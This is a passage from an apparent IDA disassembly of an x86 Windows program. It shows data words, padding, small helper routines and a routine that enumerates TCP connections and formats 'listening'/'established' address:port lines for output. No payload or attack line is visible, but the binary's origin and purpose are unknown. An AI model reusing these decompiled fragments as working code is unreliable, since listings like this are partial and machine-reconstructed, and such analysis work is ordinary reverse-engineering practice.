dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh
dd 84C70009h, 1C424h, 0
dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh
dd 8F2478Eh, 8D52E800h, 8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh
dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh
dd 9FA138Eh, 9046E800h, 8E8DFFFEh, 8F3A2h, 0FE9B26E8h
dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h
dd 9FC428Eh, 9889E800h, 0CF8BFFFEh, 0FE896EE8h, 0BF8E8DFFh
dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h
dd 9FAD38Eh, 9802E800h, 8E8DFFFEh, 9FB93h, 0FE925CE8h
dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h
dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh
dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 90FFFE93h, 69BCE3E8h
dd 42468A71h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h
dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
locret_418840: ; CODE XREF: ___:00402202j
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_418860: ; CODE XREF: ___:00401EC4j
mov eax, [esp+0Ch]
push 0
push eax
mov ecx, offset dword_447158
call sub_401767
; ---------------------------------------------------------------------------
retn 10h
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418890 proc near ; CODE XREF: sub_401B09j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4021BC
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401622
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40142E
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_4020E5
sub_418890 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418900 proc near ; CODE XREF: sub_401AFAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40139D
sub_418900 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418940 proc near ; CODE XREF: sub_4021DAj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401311
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401F4B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401550
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_40205E
sub_418940 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4189B0 proc near ; CODE XREF: sub_401F4Bj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_4015D2
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401D84
mov eax, esi
pop esi
retn 4
sub_4189B0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4189F0 proc near ; CODE XREF: sub_401311j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401D84
mov eax, esi
pop esi
retn 4
sub_4189F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418A20 proc near ; CODE XREF: sub_4010B9j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401311
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401F4B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401550
pop esi
add esp, 0Ch
retn
sub_418A20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418A70 proc near ; CODE XREF: sub_402086j
push esi
mov esi, ecx
call sub_401528
mov eax, esi
pop esi
retn
sub_418A70 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418A90 proc near ; CODE XREF: sub_402211j
mov eax, [ecx]
push eax
call sub_401172
add esp, 4
retn
sub_418A90 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418AB0 proc near ; CODE XREF: sub_401361j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4015D2
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_418AB0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418AE0 proc near ; CODE XREF: sub_4016F9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40221B
neg al
sbb eax, eax
inc eax
retn 4
sub_418AE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418B10 proc near ; CODE XREF: sub_40142Ej
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_40183E
test al, al
jz short loc_418B6A
loc_418B28: ; CODE XREF: sub_418B10+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_40116D
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40123F
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_40183E
test al, al
jnz short loc_418B28
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_418B6A: ; CODE XREF: sub_418B10+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_418B10 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418BA0 proc near ; CODE XREF: sub_4020E5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401D57
sub_418BA0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418BC0 proc near ; CODE XREF: sub_401550j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_4016F9
test al, al
jz short loc_418C1A
loc_418BD8: ; CODE XREF: sub_418BC0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4012A3
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40214E
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_4016F9
test al, al
jnz short loc_418BD8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_418C1A: ; CODE XREF: sub_418BC0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_418BC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418C50 proc near ; CODE XREF: sub_40139Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401C53
sub_418C50 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_418C65
mov edi, esi
loc_418C65: ; CODE XREF: ___:00418C61j
push esi
call sub_4015D2
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_418C7A
mov edi, esi
loc_418C7A: ; CODE XREF: ___:00418C76j
push esi
call sub_401B1D
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418CA0 proc near ; CODE XREF: sub_40205Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4013F2
sub_418CA0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418CC0 proc near ; CODE XREF: sub_4015D2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_418CC0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418CE0 proc near ; CODE XREF: sub_401172j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_418CE0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418D00 proc near ; CODE XREF: sub_401528j
mov eax, ecx
retn
sub_418D00 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418D20 proc near ; CODE XREF: sub_401D84j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4020E0
mov eax, esi
pop esi
retn 4
sub_418D20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418D50 proc near ; CODE XREF: sub_40221Bj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_418D50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418D80 proc near ; CODE XREF: sub_40123Fj
var_4 = byte ptr -4
arg_4 = byte ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_40116D
mov ecx, eax
call sub_401C8A
mov esi, eax
push esi
call sub_401A82
push esi
mov ebx, eax
call sub_401C58
mov ecx, [eax]
push ecx
call sub_401A82
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401C58
push esi
mov ebx, eax
call sub_401A82
mov eax, [eax]
push eax
call sub_401C58
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401208
add esp, 1Ch
mov ecx, edi
push eax
call sub_401762
push esi
mov ecx, edi
call sub_4020E5
sub_418D80 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418E40 proc near ; CODE XREF: sub_401D57j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_418E40 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418E60 proc near ; CODE XREF: sub_40116Dj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401F0A
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_418E60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418E90 proc near ; CODE XREF: sub_40214Ej
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4012A3
mov ecx, eax
call sub_401ECE
mov esi, eax
push esi
call sub_4015D2
push esi
mov ebx, eax
call sub_401B1D
mov ecx, [eax]
push ecx
call sub_4015D2
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401B1D
push esi
mov ebx, eax
call sub_4015D2
mov eax, [eax]
push eax
call sub_401B1D
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401172
add esp, 1Ch
mov ecx, edi
push eax
call sub_4018C5
push esi
mov ecx, edi
call sub_40205E
sub_418E90 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418F50 proc near ; CODE XREF: sub_401B1Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_418F50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418F70 proc near ; CODE XREF: sub_401C53j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_418F70 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418FA0 proc near ; CODE XREF: sub_4013F2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_418FA0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418FC0 proc near ; CODE XREF: sub_4020E0j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_418FC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418FE0 proc near ; CODE XREF: sub_4012A3j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401361
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_418FE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419010 proc near ; CODE XREF: sub_401762j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_8
pop ecx
retn 4
sub_419010 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419030 proc near ; CODE XREF: sub_4018C5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_4
pop ecx
retn 4
sub_419030 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419050 proc near ; CODE XREF: sub_401ECEj
mov eax, [ecx]
retn
sub_419050 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4190B0 proc near ; CODE XREF: sub_402103j
var_14 = dword ptr -14h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4190B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_14], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
push 9
mov [esp+1Ch+var_4], 0
mov dword ptr [esi], offset off_43E074
call sub_4367FA
sub_4190B0 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+8], eax
test eax, eax
mov byte ptr [esp+14h], 1
jz short loc_41911D
mov ecx, eax
call sub_401F0F
; ---------------------------------------------------------------------------
mov [esi+32h], eax
mov eax, esi
pop esi
mov ecx, [esp+8]
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_41911D: ; CODE XREF: ___:004190FFj
mov ecx, [esp+0Ch]
xor eax, eax
mov [esi+32h], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419170 proc near ; CODE XREF: sub_401F0Fj
push 0FFFFFFFFh
push offset SEH_419170
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push 14h
call sub_4367FA
sub_419170 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+4], eax
test eax, eax
mov dword ptr [esp+10h], 0
jz short loc_4191BE
mov ecx, eax
call sub_4015B9
mov [esi], eax
mov eax, esi
pop esi
mov ecx, [esp+4]
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_4191BE: ; CODE XREF: ___:004191A1j
mov ecx, [esp+8]
xor eax, eax
mov [esi], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419200 proc near ; CODE XREF: sub_4015B9j
mov eax, ecx
retn
sub_419200 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419220 proc near ; CODE XREF: sub_401965j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_419220
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 14h
push 1
push 14h
push 13h
push 14h
push 5
lea eax, [esp+44h+var_24]
push 0Eh
mov esi, ecx
push eax
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_401681
add esi, 4
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
sub_419220 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4192C0 proc near ; CODE XREF: sub_40111Dj
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_274 = byte ptr -274h
var_25C = byte ptr -25Ch
var_23C = byte ptr -23Ch
var_224 = byte ptr -224h
var_199 = byte ptr -199h
var_198 = byte ptr -198h
var_119 = byte ptr -119h
var_118 = byte ptr -118h
var_99 = byte ptr -99h
var_98 = byte ptr -98h
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4192C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 298h
push ebx
mov ebx, ecx
push esi
mov [esp+2ACh+var_2A4], ebx
lea ecx, [ebx+4]
call sub_4017E4
mov esi, [esp+2ACh+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_419669
push ebp
push edi
push offset asc_443600 ; " "
lea eax, [esp+2B8h+var_23C]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
call sub_401681
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+2B4h+var_23C]
mov [ebx+36h], eax
call sub_401226
mov ecx, esi
call sub_4017E4
push eax
lea ecx, [esp+2B8h+var_274]
call sub_401861
xor ebp, ebp
push offset dword_443D94
lea ecx, [esp+2B8h+var_274]
mov [esp+2B8h+var_4], ebp
mov [esp+2B8h+var_2A0], ebp
call sub_4013E3
test eax, eax
jz short loc_41936F
mov [esp+2B4h+var_2A0], 2
jmp short loc_419389
; ---------------------------------------------------------------------------
loc_41936F: ; CODE XREF: sub_4192C0+A3j
push offset dword_443D90
lea ecx, [esp+2B8h+var_274]
call sub_4013E3
test eax, eax
jz short loc_419389
mov [esp+2B4h+var_2A0], 1
loc_419389: ; CODE XREF: sub_4192C0+ADj
; sub_4192C0+BFj
mov ecx, [ebx+32h]
mov edi, offset dword_443D84
xor eax, eax
mov edx, [ecx]
or ecx, 0FFFFFFFFh
add edx, 2
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebx+32h]
mov edx, [ecx]
mov byte ptr [edx], 1
mov eax, [ebx+32h]
mov [esp+2B4h+var_119], 0
mov [esp+2B4h+var_99], 0
mov [esp+2B4h+var_D], 0
mov [esp+2B4h+var_199], 0
mov eax, [eax]
cmp byte ptr [eax], 0
jnz short loc_419418
mov esi, dword_50FA9C
add eax, 2
push offset dword_443D84
push eax
call esi ; dword_50FA9C
add esp, 8
test eax, eax
jz short loc_419418
mov ecx, [ebx+32h]
push offset off_443D80
mov edx, [ecx]
add edx, 2
push edx
call esi ; dword_50FA9C
add esp, 8
test eax, eax
jnz loc_41964F
loc_419418: ; CODE XREF: sub_4192C0+123j
; sub_4192C0+13Bj
push 0C00h
mov [esp+2B8h+var_294], 0C00h
call near ptr 77C2C407h
nop
add esp, 4
mov esi, eax
lea eax, [esp+2B4h+var_294]
mov [esp+2B4h+var_29C], esi
push 1
push eax
push esi
mov [esi], ebp
call sub_436C60
mov eax, [esi]
mov [esp+2B4h+var_298], ebp
cmp eax, ebp
jle loc_419645
lea ebp, [esi+14h]
loc_419454: ; CODE XREF: sub_4192C0+37Fj
cmp dword ptr [ebp-10h], 2
jnz short loc_419468
mov ecx, [ebx+32h]
mov edx, [ecx]
cmp byte ptr [edx], 0
jz loc_41962F
loc_419468: ; CODE XREF: sub_4192C0+198j
mov ax, [ebp-8]
mov esi, dword_50FC20
push eax
call esi ; dword_50FC20
mov cx, [ebp+0]
mov [esp+2B4h+var_290], eax
push ecx
call esi ; dword_50FC20
mov esi, [esp+2B4h+var_2A4]
mov ebx, eax
mov eax, [ebp-0Ch]
push 1
lea edx, [esp+2B8h+var_198]
push 7Fh
push edx
push eax
mov ecx, esi
call sub_401474
mov edx, [ebp-4]
push 0
lea ecx, [esp+2B8h+var_118]
push 7Fh
push ecx
push edx
mov ecx, esi
call sub_401474
mov eax, [ebp-10h]
sub eax, 2
jz short loc_4194CC
sub eax, 3
jnz short loc_4194F2
lea edx, [esp+2B4h+var_25C]
mov edi, offset aEstablished ; "established"
jmp short loc_4194D5
; ---------------------------------------------------------------------------
loc_4194CC: ; CODE XREF: sub_4192C0+1FAj
lea edx, [esp+2B4h+var_25C]
mov edi, offset aListening ; "listening"
loc_4194D5: ; CODE XREF: sub_4192C0+20Aj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_4194F2: ; CODE XREF: sub_4192C0+1FFj
mov ecx, 23h
xor eax, eax
lea edi, [esp+2B4h+var_98]
rep stosd
mov ecx, 23h
lea edi, [esp+2B4h+var_224]
rep stosd
cmp dword ptr [ebp-10h], 2
jnz short loc_419518
xor ebx, ebx
loc_419518: ; CODE XREF: sub_4192C0+254j
mov esi, [esp+2B4h+var_290]
lea ecx, [esp+2B4h+var_198]
and esi, 0FFFFh
lea edx, [esp+2B4h+var_98]
push esi
push ecx
push offset aSD_1 ; "%s:%d"
push 8Bh
push edx
nop
call near ptr 77C3FA76h
mov edi, ebx
add esp, 14h
and edi, 0FFFFh
lea eax, [esp+2B4h+var_118]
push edi
push eax
push offset aSD_1 ; "%s:%d"
lea ecx, [esp+2C0h+var_224]
push 8Bh
push ecx
nop
call near ptr 77C3FA76h
add esp, 14h
lea ecx, [esp+2B4h+var_28C]
call sub_401424
mov eax, [esp+2B4h+var_2A0]
mov byte ptr [esp+2B4h+var_4], 1
test bx, bx
jnz short loc_4195B1
cmp eax, 1
jz loc_419616
mov edx, [esp+2B4h+var_2A4]
mov eax, [edx+36h]
test eax, eax
jz short loc_4195A4
cmp eax, esi
jnz short loc_419616
loc_4195A4: ; CODE XREF: sub_4192C0+2DEj
lea eax, [esp+2B4h+var_25C]
push esi
push eax
push offset aSD_0 ; "%s: %d"
jmp short loc_4195D7
; ---------------------------------------------------------------------------
loc_4195B1: ; CODE XREF: sub_4192C0+2CAj
cmp eax, 2
jz short loc_419616
mov ecx, [esp+2B4h+var_2A4]
mov eax, [ecx+36h]
test eax, eax
jz short loc_4195C5
cmp eax, edi
jnz short loc_419616
loc_4195C5: ; CODE XREF: sub_4192C0+2FFj
lea edx, [esp+2B4h+var_224]
lea eax, [esp+2B4h+var_25C]
push edx
push eax
push offset aSS_6 ; "%s: %s"
loc_4195D7: ; CODE XREF: sub_4192C0+2EFj
lea ecx, [esp+2C0h+var_28C]
push ecx
call sub_40102D
mov esi, [esp+2C4h+arg_0]
add esp, 10h
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+2B8h+var_28C]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
loc_419616: ; CODE XREF: sub_4192C0+2CFj
; sub_4192C0+2E2j ...
lea ecx, [esp+2B4h+var_28C]
mov byte ptr [esp+2B4h+var_4], 0
call sub_401226
mov esi, [esp+2B4h+var_29C]
mov ebx, [esp+2B4h+var_2A4]
loc_41962F: ; CODE XREF: sub_4192C0+1A2j
mov eax, [esp+2B4h+var_298]
mov ecx, [esi]
inc eax
add ebp, 14h
cmp eax, ecx
mov [esp+2B4h+var_298], eax
jl loc_419454
loc_419645: ; CODE XREF: sub_4192C0+18Bj
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_41964F: ; CODE XREF: sub_4192C0+152j
lea ecx, [esp+2B4h+var_274]
mov [esp+2B4h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
mov al, 1
pop ebp
jmp short loc_41966B
; ---------------------------------------------------------------------------
loc_419669: ; CODE XREF: sub_4192C0+3Dj
mov al, 1
loc_41966B: ; CODE XREF: sub_4192C0+3A7j
mov ecx, [esp+2ACh+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 2A4h
retn 4
sub_4192C0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419790 proc near ; CODE XREF: sub_401474j
var_20 = byte ptr -20h
